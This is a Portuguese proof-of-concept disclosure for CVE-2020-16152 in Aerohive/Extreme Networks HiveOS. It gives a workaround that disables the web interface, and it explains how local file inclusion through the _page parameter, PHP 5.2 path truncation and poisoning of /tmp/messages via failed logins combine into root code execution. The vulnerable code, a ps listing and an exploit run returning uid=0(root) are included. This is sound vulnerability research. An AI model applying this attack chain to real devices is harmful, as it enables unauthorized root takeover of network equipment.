
Exploit de prova de conceito para CVE-2020-16152: LFI para RCE no HiveOS da Aerohive/Extreme Networks via truncamento de string PHP e envenenamento de log, permitindo acesso root em pontos de acesso vulneráveis.
| HiveOS / IQ Engine |
| Versão do produto | Testado na versão 10.0r8a build-242466 e anteriores |
A interface web administrativa do HiveOS da Aerohive/Extreme Networks (NetConfig) é vulnerável a LFI porque usa uma versão antiga do PHP vulnerável a ataques de truncamento de strings. Um atacante pode usar isso em conjunto com envenenamento de log para obter direitos root em um ponto de acesso vulnerável.
Como solução alternativa, é possível desabilitar a interface web com o seguinte comando: no system web-server hive-UI enable para se proteger contra essa vulnerabilidade.
O parâmetro _page usado para chamadas a action/AhBaseAction.class.php5 conforme referenciado pela url /action.php5 é usado para carregar dinamicamente uma classe PHP usada para uma página, como podemos ver no trecho de código abaixo ($pageName é obtido de $_POST['_page']):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
Como podemos ver, não há prefixo para este nome de arquivo, tornando possível percorrer caminhos para arquivos arbitrários. No entanto, como nos é apresentado um sufixo, não é possível incluir qualquer arquivo. Como a versão do PHP no ponto de acesso é bastante antiga, podemos contornar isso (mais informações):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
Ao preencher o caminho com caracteres / suficientes, podemos garantir que o sufixo Access.class.php5 seja completamente truncado e ficamos livres para incluir arquivos arbitrários.
Como as tentativas de login com falha são registradas em /tmp/messages e incluem o nome de usuário enviado, podemos usar a página de login para envenenar /tmp/messages e então executar código a partir dela com o ataque de LFI listado acima.
Embora o servidor web em si esteja executando com um usuário de baixo privilégio, a instância php-cgi usada pelo hiawatha está, na verdade, executando como root, o que significa que todo código PHP é executado como root:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)